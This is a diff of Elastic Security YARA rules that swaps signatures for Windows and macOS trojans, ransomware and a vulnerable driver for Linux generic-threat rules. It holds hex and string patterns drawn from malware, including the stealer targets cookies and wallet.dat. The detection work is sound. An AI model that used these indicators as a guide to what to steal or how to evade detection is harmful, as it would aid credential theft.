+		id = "5d5fd28e-ae8f-4b6f-ad95-57725550fcef"
+		date = "2024-02-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Raccoon.yar#L22-L40"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fe09bef10b21f085e9ca411e24e0602392ab5044b7268eaa95fb88790f1a124d"
-		logic_hash = "8a7388e9c3dd0dd1a79215dbabcd964a0afa883490611afb6bb500635fbfff9a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L718-L738"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5b179a117e946ce639e99ff42ab70616ed9f3953ff90b131b4b3063f970fa955"
+		logic_hash = "b29ca34b98ee87151496f900fa3558190127957539afac3fd99db2dc51980213"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "ea819b46ec08ba6b33aa19dcd6b5ad27d107a8e37f3f9eb9ff751fe8e1612f88"
-		severity = 100
+		fingerprint = "3a24edfbafc0abee418998d3a6355f4aa2659d68e27db502149a34266076ed15"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 74 FF FF FF 10 8D 4D AC 53 6A 01 8D 85 60 FF FF FF 0F 43 85 60 FF }
+		$a1 = { 2F 75 73 72 2F 62 69 6E 2F 77 64 31 }
+		$a2 = { 2F 75 73 72 2F 62 69 6E 2F 63 64 31 }
+		$a3 = { 2F 75 73 72 2F 62 69 6E 2F 63 64 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Raccoon_Deb6325C : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_B0B891Fb : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Raccoon (Windows.Trojan.Raccoon)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "deb6325c-5556-44ce-a184-6369105485d5"
-		date = "2022-06-28"
-		modified = "2022-07-18"
+		id = "b0b891fb-f262-4a06-aa3c-be0baeb53172"
+		date = "2024-02-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Raccoon.yar#L42-L63"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f7b1aaae018d5287444990606fc43a0f2deb4ac0c7b2712cc28331781d43ae27"
-		logic_hash = "94f70c60ed4fab021e013cf6a632321e0e1bdeef25a48a598d9e7388e7e445ca"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L740-L759"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d666bc0600075f01d8139f8b09c5f4e4da17fa06a86ebb3fa0dc478562e541ae"
+		logic_hash = "9ec82691a230f3240b1253f99a45cd0baa3238b6fd533004a22a6152b6ac9a12"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "17c34b5b9a0211255a93f9662857361680e72a45135d6ea9b5af8d77b54583b9"
-		severity = 100
+		fingerprint = "c6e4f7bcc94b584f8537724d3ecd9f83e6c3981cdc35d5cdc691730ed0e435ef"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "\\ffcookies.txt" wide fullword
-		$a2 = "wallet.dat" wide fullword
-		$a3 = "0Network\\Cookies" wide fullword
-		$a4 = "Wn0nlDEXjIzjLlkEHYxNvTAXHXRteWg0ieGKVyD52CvONbW7G91RvQDwSZi/N2ISm4xEWRKYJwjnYUGS9OZmj/TAie8jG07EXEcO8D7h2m2lGzWnFG31R1rsxG1+G8E="
+		$a1 = { 6D 61 69 6E 2E 65 6E 63 72 79 70 74 5F 66 69 6C 65 }
+		$a2 = { 2F 64 65 76 2F 75 72 61 6E 64 6F 6D 2F 6D 6E 74 2F 65 78 74 2F 6F 70 74 31 35 32 35 38 37 38 39 30 36 32 35 37 36 32 39 33 39 34 35 33 31 32 35 42 69 64 69 5F 43 6F 6E 74 72 6F 6C 4A 6F 69 6E 5F 43 6F 6E 74 72 6F 6C 4D 65 65 74 65 69 5F 4D 61 79 65 6B 50 61 68 61 77 68 5F 48 6D 6F 6E 67 53 6F 72 61 5F 53 6F 6D 70 65 6E 67 53 79 6C 6F 74 69 5F 4E 61 67 72 69 61 62 69 20 6D 69 73 6D 61 74 63 68 62 61 64 20 66 6C 75 73 68 47 65 6E 62 61 64 20 67 20 73 74 61 74 75 73 62 61 64 20 72 65 63 6F 76 65 72 79 63 61 6E 27 74 20 68 61 70 70 65 6E 63 61 73 36 34 20 66 61 69 6C 65 64 63 68 61 6E 20 72 65 63 65 69 76 65 64 75 6D 70 69 6E 67 20 68 65 61 70 65 6E 64 20 74 72 61 63 65 67 63 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Lumma_693A5234 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_Cd9Ce063 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Lumma (Windows.Trojan.Lumma)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "693a5234-de8c-4801-8146-bb4d5378abc5"
-		date = "2024-06-05"
+		id = "cd9ce063-a33b-4771-b7c0-7342d486e15a"
+		date = "2024-02-21"
 		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Lumma.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "88340abcdc3cfe7574ee044aea44808446daf3bb7bf9fc60b16a2b1360c5d9c0"
-		logic_hash = "2b29ac9bc73f191bdbfc92601cab923aa9f2f3380c8123ee469ced3754625dd0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L761-L779"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "485581520dd73429b662b73083d504aa8118e01c5d37c1c08b21a5db0341a19d"
+		logic_hash = "ba070c2147028cad4be1c139b16a770c9d9854456d073373a93ed0b213f7b34c"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "9e51b8833b6fffe740f3c9f87a874dbf4d668d68307393b20cf9e4e69e899d3f"
+		fingerprint = "e090bd44440e912d04de390c240ca18265bcf49e34f6689b3162e74d2fd31ba4"
 		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 02 0F B7 16 83 C6 02 66 85 D2 75 EF 66 C7 00 00 00 0F B7 11 }
-		$a2 = { 0C 0F B7 4C 24 04 66 89 0F 83 C7 02 39 F7 73 0C 01 C3 39 EB }
+		$a1 = { 2C 2A 73 74 72 75 63 74 20 7B 20 46 20 75 69 6E 74 70 74 72 3B 20 2E 61 75 74 6F 74 6D 70 5F 32 36 20 2A 74 6C 73 2E 43 6F 6E 6E 20 7D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Grief_9953339A : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_B8B076F4 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Grief (Windows.Ransomware.Grief)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "9953339a-2c67-4ebd-be51-d1055e341abc"
-		date = "2021-08-04"
-		modified = "2021-10-04"
+		id = "b8b076f4-c64a-400b-80cb-5793c97ad033"
+		date = "2024-02-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Grief.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0864575d4f487e52a1479c61c2c4ad16742d92e16d0c10f5ed2b40506bbc6ca0"
-		logic_hash = "f99ea1e1f59dc2999659cbe649e76001dd7139b1438440717b60f081d1e99d70"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L781-L799"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4496e77ff00ad49a32e090750cb10c55e773752f4a50be05e3c7faacc97d2677"
+		logic_hash = "37f3be4cbda4a93136d66e32d7245d4c962a9fe1c98fb0325f42a1d16d6d9415"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d7d70c3681c4d4103d9ff52c3bdd174ccbdb49343c34407e90abb5a83a8422f4"
-		severity = 100
+		fingerprint = "f9c6c055e098164d0add87029d03aec049c4bed2c4643f9b4e32dd82f596455c"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 65 64 73 63 6F 72 70 69 6F 71 65 6E 61 62 6C 65 54 72 61 6E 73 6C 61 74 65 2E 41 64 65 65 6D 65 64 59 00 5A 41 70 70 6C 69 63 61 74 69 6F 6E 65 69 74 68 65 72 33 34 2E 30 28 39 39 25 6D 65 6D 6F 72 79 2C 77 69 74 68 6F 75 74 00 66 6F 72 47 6F 6F 67 6C 65 6C 74 68 65 6D 6F 72 65 6D 77 61 73 00 39 32 41 6E 69 6E 65 74 68 65 75 48 73 74 61 62 6C 65 73 6F 66 66 69 63 69 61 6C 00 43 4B 76 65 72 73 69 6F 6E 46 71 74 68 65 63 6F 6D 70 61 6E 79 2C 74 6F 6E 2E 35 30 37 00 6E 69 6E 2D 70 61 67 65 44 73 63 61 6E 6E 69 6E 67 61 63 63 65 73 73 48 69 63 6F 6E 72 65 6D }
+		$a1 = { 48 81 EC C0 00 00 00 48 89 AC 24 B8 00 00 00 48 8D AC 24 B8 00 00 00 44 0F 11 7C 24 2E 44 0F 11 7C 24 2F 44 0F 11 7C 24 3F 44 0F 11 7C 24 4F 44 0F 11 7C 24 5F 48 8B 94 24 C8 00 00 00 48 89 54 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_P8Loader_E478A831 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_1Ac392Ca : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan P8Loader (Windows.Trojan.P8Loader)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "e478a831-b2a1-4436-8b17-ca92b9581c39"
-		date = "2023-04-13"
-		modified = "2023-05-26"
-		reference = "https://www.elastic.co/security-labs/elastic-charms-spectralviper"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_P8Loader.yar#L1-L26"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "f1a7de6bb4477ea82c18aea1ddc4481de2fc362ce5321f4205bb3b74c1c45a7e"
+		id = "1ac392ca-d428-47ef-98af-d02d8305ae67"
+		date = "2024-02-21"
+		modified = "2024-06-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L801-L819"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "dca2d035b1f7191f7876eb727b13c308f63fe8f899cab643526f9492ec0fa16f"
+		logic_hash = "6ffa5099c0d18644cd11a0511db542d2f809e4cba974eccca814fedf5a2b0a5b"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "267743fc82c701d3029cde789eb471b49839001b21b90eeb20783382a56fb2c3"
-		severity = 100
+		fingerprint = "e21805cc2d548c940b0cefa8ee99bd55c5599840e32b8341a4ef5dfb0bc679ff"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "\t[+] Create pipe direct std success\n" fullword
-		$a2 = "\tPEAddress: %p\n" fullword
-		$a3 = "\tPESize: %ld\n" fullword
-		$a4 = "DynamicLoad(%s, %s) %d\n" fullword
-		$a5 = "LoadLibraryA(%s) FAILED in %s function, line %d" fullword
-		$a6 = "\t[+] No PE loaded on memory\n" wide fullword
-		$a7 = "\t[+] PE argument: %ws\n" wide fullword
-		$a8 = "LoadLibraryA(%s) FAILED in %s function, line %d" fullword
+		$a1 = { 53 4F 41 50 41 63 74 69 6F 6E 3A 20 75 72 6E 3A 73 63 68 65 6D 61 73 2D 75 70 6E 70 2D 6F 72 67 3A 73 65 72 76 69 63 65 3A 57 41 4E 49 50 43 6F 6E 6E 65 63 74 69 6F 6E 3A 31 23 41 64 64 50 6F 72 74 4D 61 70 70 69 6E 67 }
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Ryzen_7Df5A747 : FILE
+rule ELASTIC_Linux_Generic_Threat_949Bf68C : FILE MEMORY
 {
 	meta:
-		description = "Name: AMDRyzenMasterDriver.sys, Version: 1.5.0.0"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "7df5a747-d924-459d-8363-9c12841ef37f"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "949bf68c-e6a0-451d-9e49-4515954aabc8"
+		date = "2024-02-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Ryzen.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a13054f349b7baa8c8a3fcbd31789807a493cc52224bbff5e412eb2bd52a6433"
-		logic_hash = "192b51f0bbd2cab4c1d3da6f82fbee7129a53abaa6e8769d3681821112017824"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L821-L839"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cc1b339ff6b33912a8713c192e8743d1207917825b62b6f585ab7c8d6ab4c044"
+		logic_hash = "aaae0a8a2827786513891bc8c3e3418823ae3f3291d891e80e82113b929f7513"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "1bf5d6b2739ce4fe5137cff84e7bfb9389e8d175480094fe831f8f68d84abb16"
-		threat_name = "Windows.VulnDriver.Ryzen"
+		tags = "FILE, MEMORY"
+		fingerprint = "e478c8befed6da3cdd9985515e4650a8b7dad1ea28292c2cf91069856155facd"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 41 00 4D 00 44 00 52 00 79 00 7A 00 65 00 6E 00 4D 00 61 00 73 00 74 00 65 00 72 00 44 00 72 00 69 00 76 00 65 00 72 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x05][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x04][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$a1 = { 55 89 E5 57 56 53 81 EC 58 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 85 B4 FE FF FF 89 95 AC FE FF FF 8D B5 C4 FE FF FF 56 ?? ?? ?? ?? ?? 58 5A 6A 01 56 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Ryzen_9B01C718 : FILE
+rule ELASTIC_Linux_Generic_Threat_Bd35454B : FILE MEMORY
 {
 	meta:
-		description = "Name: AMDRyzenMasterDriver.sys, Version: <= 1.7.0.0"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "9b01c718-ba36-4642-b27d-e9310d05d8a5"
-		date = "2023-01-22"
-		modified = "2023-06-13"
+		id = "bd35454b-a0dd-4925-afae-6416f3695826"
+		date = "2024-02-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Ryzen.yar#L23-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bb82d8c29127955d58dff58978605a9daa718425c74c4bce5ae3e53712909148"
-		logic_hash = "5734f6a249656f22a2a363b42ae77b5e6b7673bc96bad34b04b1be7f2b584b08"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L841-L860"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cd729507d2e17aea23a56a56e0c593214dbda4197e8a353abe4ed0c5fbc4799c"
+		logic_hash = "d3619cdb002b4ac7167716234058f949623c42a64614f5eb7956866b68fff5e4"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "18ad3df5ae549dddbe1f6f33db534b4fcfc603e0863f8262a8cb9c166a16af67"
-		threat_name = "Windows.VulnDriver.Ryzen"
-		severity = 49
+		quality = 71
+		tags = "FILE, MEMORY"
+		fingerprint = "721aa441a2567eab29c9bc76f12d0fdde8b8a124ca5a3693fbf9821f5b347825"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 41 00 4D 00 44 00 52 00 79 00 7A 00 65 00 6E 00 4D 00 61 00 73 00 74 00 65 00 72 00 44 00 72 00 69 00 76 00 65 00 72 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x07][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x06][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$a1 = { 6D 61 69 6E 2E 65 6E 63 72 79 70 74 5F 66 69 6C 65 }
+		$a2 = { 57 68 61 74 20 67 75 61 72 61 6E 74 65 65 73 3F }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and int16 ( uint32(0x3C)+0x18)==0x020b and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Macos_Trojan_Adload_4995469F : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_1E047045 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Adload (MacOS.Trojan.Adload)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "4995469f-9810-4c1f-b9bc-97e951fe9256"
-		date = "2021-10-04"
-		modified = "2021-10-25"
+		id = "1e047045-e08b-4ecb-8892-90a1ab94f8b1"
+		date = "2024-02-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Adload.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6464ca7b36197cccf0dac00f21c43f0cb09f900006b1934e2b3667b367114de5"
-		logic_hash = "cceb804a11b93b0e3f491016c47a823d9e6a31294c3ed05d4404601323b30993"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L862-L880"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2c49772d89bcc4ad4ed0cc130f91ed0ce1e625262762a4e9279058f36f4f5841"
+		logic_hash = "0d28df53e030664e7225f1170888b51e94e64833537c5add3e10cfdb4f029a3a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9b7e7c76177cc8ca727df5039a5748282f5914f2625ec1f54d67d444f92f0ee5"
-		severity = 100
+		fingerprint = "aa99b16f175649c251cb299537baf8bded37d85af8b2539b4aba4ffd634b3f66"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { 49 8B 77 08 49 8B 4F 20 48 BF 89 88 88 88 88 88 88 88 48 89 C8 48 F7 E7 48 C1 }
+		$a1 = { 18 48 89 FB 48 89 F5 64 48 8B 04 25 28 00 00 00 48 89 44 24 08 31 C0 48 8B 47 08 48 89 C2 48 C1 EA 18 88 14 24 48 89 C2 48 C1 EA 10 88 54 24 01 48 89 C2 48 C1 EA 08 88 54 24 02 88 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Adload_9B9F86C7 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_1973391F : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Adload (MacOS.Trojan.Adload)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "9b9f86c7-e74c-4fc2-bb64-f87473a4b820"
-		date = "2021-10-04"
-		modified = "2021-10-25"
+		id = "1973391f-b9a2-465d-8990-51c6e9fab84b"
+		date = "2024-02-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Adload.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "952e6004ce164ba607ac7fddc1df3d0d6cac07d271d90be02d790c52e49cb73c"
-		logic_hash = "82297db23e036f22c90eee7b2654e84df847eb1c2b1ea4dcf358c48a14819709"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L882-L901"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7bd76010f18061aeaf612ad96d7c03341519d85f6a1683fc4b2c74ea0508fe1f"
+		logic_hash = "632a43b68e498f463ff5dfa78212646b8bd108ea47ff11164c8c1a69e830c1ac"
 		score = 75
-		quality = 73
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "7e70d5574907261e73d746a4ad0b7bce319a9bb3b39a7f1df326284960a7fa38"
-		severity = 100
+		fingerprint = "90a261afd81993057b084c607e27843ff69649b3d90f4d0b52464e87fdf2654d"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { 44 65 6C 65 67 61 74 65 43 35 73 68 6F 77 6E 53 62 76 70 57 76 64 }
+		$a1 = { 70 69 63 6B 75 70 20 2D 6C 20 2D 74 20 66 69 66 6F 20 2D 75 }
+		$a2 = { 5B 2D 5D 20 43 6F 6E 6E 65 63 74 20 66 61 69 6C 65 64 2E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Trojan_Adload_F6B18A0A : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_66D00A84 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Trojan Adload (MacOS.Trojan.Adload)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "f6b18a0a-7593-430f-904b-8d416861d165"
-		date = "2021-10-05"
-		modified = "2021-10-25"
+		id = "66d00a84-c148-4a82-8da5-955787c103a4"
+		date = "2024-02-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Trojan_Adload.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "06f38bb811e6a6c38b5e2db708d4063f4aea27fcd193d57c60594f25a86488c8"
-		logic_hash = "20d43fbf0b8155940e2e181f376a7b1979ce248d88dc08409aaa1a916777231c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L903-L921"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "464e144bcbb54fc34262b4d81143f4e69e350fb526c803ebea1fdcfc8e57bf33"
+		logic_hash = "a1d60619d72b3309bfaaf8b4085dd5ed90142ff3e9ebfe80fcd7beba5f14a62e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f33275481b0bf4f4e57c7ad757f1e22d35742fc3d0ffa3983321f03170b5100e"
-		severity = 100
+		fingerprint = "1b6c635dc149780691f292014f3dbc20755d26935b7ae0b3d8f250c10668e28a"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "linux"
 
 	strings:
-		$a = { 10 49 8B 4E 20 48 BE 89 88 88 88 88 88 88 88 48 89 C8 48 F7 E6 49 39 DC 0F 84 }
+		$a1 = { 48 81 EC 10 04 00 00 4C 89 E7 49 8D 8C 24 FF 03 00 00 49 89 E0 48 89 E0 8A 17 84 D2 74 14 80 7F 01 00 88 10 74 05 48 FF C0 EB 07 88 58 01 48 83 C0 02 48 FF C7 48 39 F9 75 DE 4C 39 C0 74 06 C6 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Garble_Eae7F2F7 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_D2Dca9E7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Garble (Windows.Trojan.Garble)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "eae7f2f7-49b3-427c-9cf3-cce64d772c78"
-		date = "2022-06-08"
-		modified = "2022-09-29"
+		id = "d2dca9e7-6ce6-49b9-92a8-f0149f2deb42"
+		date = "2024-05-20"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
